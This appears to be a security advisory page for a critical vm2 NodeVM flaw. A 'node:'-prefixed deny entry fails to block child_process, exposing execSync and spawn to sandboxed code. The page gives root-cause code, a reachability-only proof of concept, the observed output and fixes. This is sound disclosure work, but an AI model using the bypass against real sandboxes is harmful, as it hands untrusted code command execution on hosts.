VDB
Sign up
CRITICAL9.9

GHSA-8686-vhfx-7r3j

vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process

Quick fix

GHSA-8686-vhfx-7r3j — vm2: upgrade to the fixed version with the command below.

npm install vm2@3.11.7

Details

## Summary

NodeVM normalizes `node:`-prefixed builtin specifiers during `require()` resolution, but it does not normalize user-provided negative builtin entries in wildcard policy.

As a result, this configuration:

```js new NodeVM({ require: { builtin: ['*', '-node:child_process'] } }); ```

does not deny the canonical `child_process` builtin. Sandboxed code can require both `child_process` and `node:child_process`, and receives the host module with process-spawning APIs such as `execSync` and `spawn`.

The safe proof below only checks module and function reachability. It does not execute any OS command.

## Affected Mode

NodeVM.

## Affected Configuration

```js new NodeVM({ require: { builtin: ['*', '-node:child_process'] } }); ```

This affects users who deny builtins using their `node:`-prefixed spelling, expecting `-node:child_process` to deny `require('node:child_process')` and `require('child_process')`.

## Affected Files / Functions

- `lib/builtin.js` - `makeBuiltinsFromLegacyOptions` - wildcard builtin expansion - exact negative entry check: `builtins.indexOf(\`-${name}\`)` - `addDefaultBuiltin` - `lib/resolver.js` - `Resolver.resolve` - `lib/setup-node-sandbox.js` - `requireImpl` - `node:` prefix stripping before builtin load

## Root Cause

`lib/setup-node-sandbox.js` strips the `node:` prefix from resolved builtin filenames before loading the builtin:

```js if (localStringPrototypeStartsWith(filename, 'node:')) { id = localStringPrototypeSlice(filename, 5); let nmod = cacheBuiltins[id]; if (!nmod) { nmod = loadBuiltinModule(id); if (!nmod) throw new VMError(`Cannot find module '${filename}'`, 'ENOTFOUND'); cacheBuiltins[id] = nmod; } return nmod; } ```

But `lib/builtin.js` checks wildcard negative entries by exact string match against the names in `BUILTIN_MODULES`:

```js if (builtins.indexOf(`-${name}`) === -1) { addDefaultBuiltin(res, name, hostRequire); } ```

`BUILTIN_MODULES` contains the canonical name `child_process`, not `node:child_process`. Therefore `-node:child_process` does not exclude `child_process`, and `addDefaultBuiltin()` registers the host builtin.

## Security Boundary Crossed

Sandboxed code reaches a host builtin that the embedder attempted to deny.

Boundary crossed:

- sandbox -> host `child_process` builtin - sandbox -> host process-spawning function references

## Impact

Confirmed impact:

- `require('child_process')` succeeds inside the sandbox. - `require('node:child_process')` succeeds inside the sandbox. - The returned module exposes `execSync` and `spawn` as functions.

Worst confirmed impact is access to host process-spawning APIs. The proof does not execute any command.

The proof does not execute a command, but it confirms access to the host child_process module and its process-spawning APIs. For untrusted sandbox code, this is equivalent to command execution capability.

## Safe Local Reproduction

Tested on Node.js `v24.14.0`.

This proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands.

```js 'use strict';

const { NodeVM } = require('./');

function probe(builtin) { const vm = new NodeVM({ require: { builtin } });

return vm.run(` const out = {};

for (const spec of ['child_process', 'node:child_process']) { try { const cp = require(spec); out[spec] = { loaded: true, execSyncType: typeof cp.execSync, spawnType: typeof cp.spawn, moduleToStringTag: Object.prototype.toString.call(cp) }; } catch (e) { out[spec] = { loaded: false, name: e && e.name, code: e && e.code, message: e && e.message }; } }

module.exports = out; `); }

console.log(JSON.stringify({ nodeVersion: process.version, denyNodePrefixed: probe(['*', '-node:child_process']), denyCanonical: probe(['*', '-child_process']) }, null, 2)); ```

Observed result:

```json { "nodeVersion": "v24.14.0", "denyNodePrefixed": { "child_process": { "loaded": true, "execSyncType": "function", "spawnType": "function", "moduleToStringTag": "[object Object]" }, "node:child_process": { "loaded": true, "execSyncType": "function", "spawnType": "function", "moduleToStringTag": "[object Object]" } }, "denyCanonical": { "child_process": { "loaded": false, "name": "VMError", "code": "ENOTFOUND", "message": "Cannot find module 'child_process'" }, "node:child_process": { "loaded": false, "name": "VMError", "code": "ENOTFOUND", "message": "Cannot find module 'node:child_process'" } } } ```

## Expected Secure Behavior

`-node:child_process` and `-child_process` should be equivalent.

If either spelling is denied, both of these should fail:

```js require('child_process') require('node:child_process') ```

## Suggested Fix

1. Canonicalize builtin names before allow/deny comparison: - Strip `node:` from user-provided builtin entries. - Preserve whether an entry is negative (`-...`) before canonicalizing. - Store and compare one canonical builtin key.

2. Apply the same normalization to: - wildcard negative entries - explicit allowlist entries - object-form builtin entries - mock/override keys if they are intended to support `node:` spelling

3. Add regression tests: - `builtin: ['*', '-node:child_process']` blocks `child_process`. - `builtin: ['*', '-node:child_process']` blocks `node:child_process`. - `builtin: ['*', '-node:fs']` blocks `fs` and `node:fs`. - `builtin: ['*', '-node:fs/promises']` and `-fs/promises` behave consistently. - Canonical dangerous builtins remain denied even if explicitly requested with `node:` spelling.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/vm2
Introduced in: 0Fixed in: 3.11.7
Fixnpm install vm2@3.11.7

References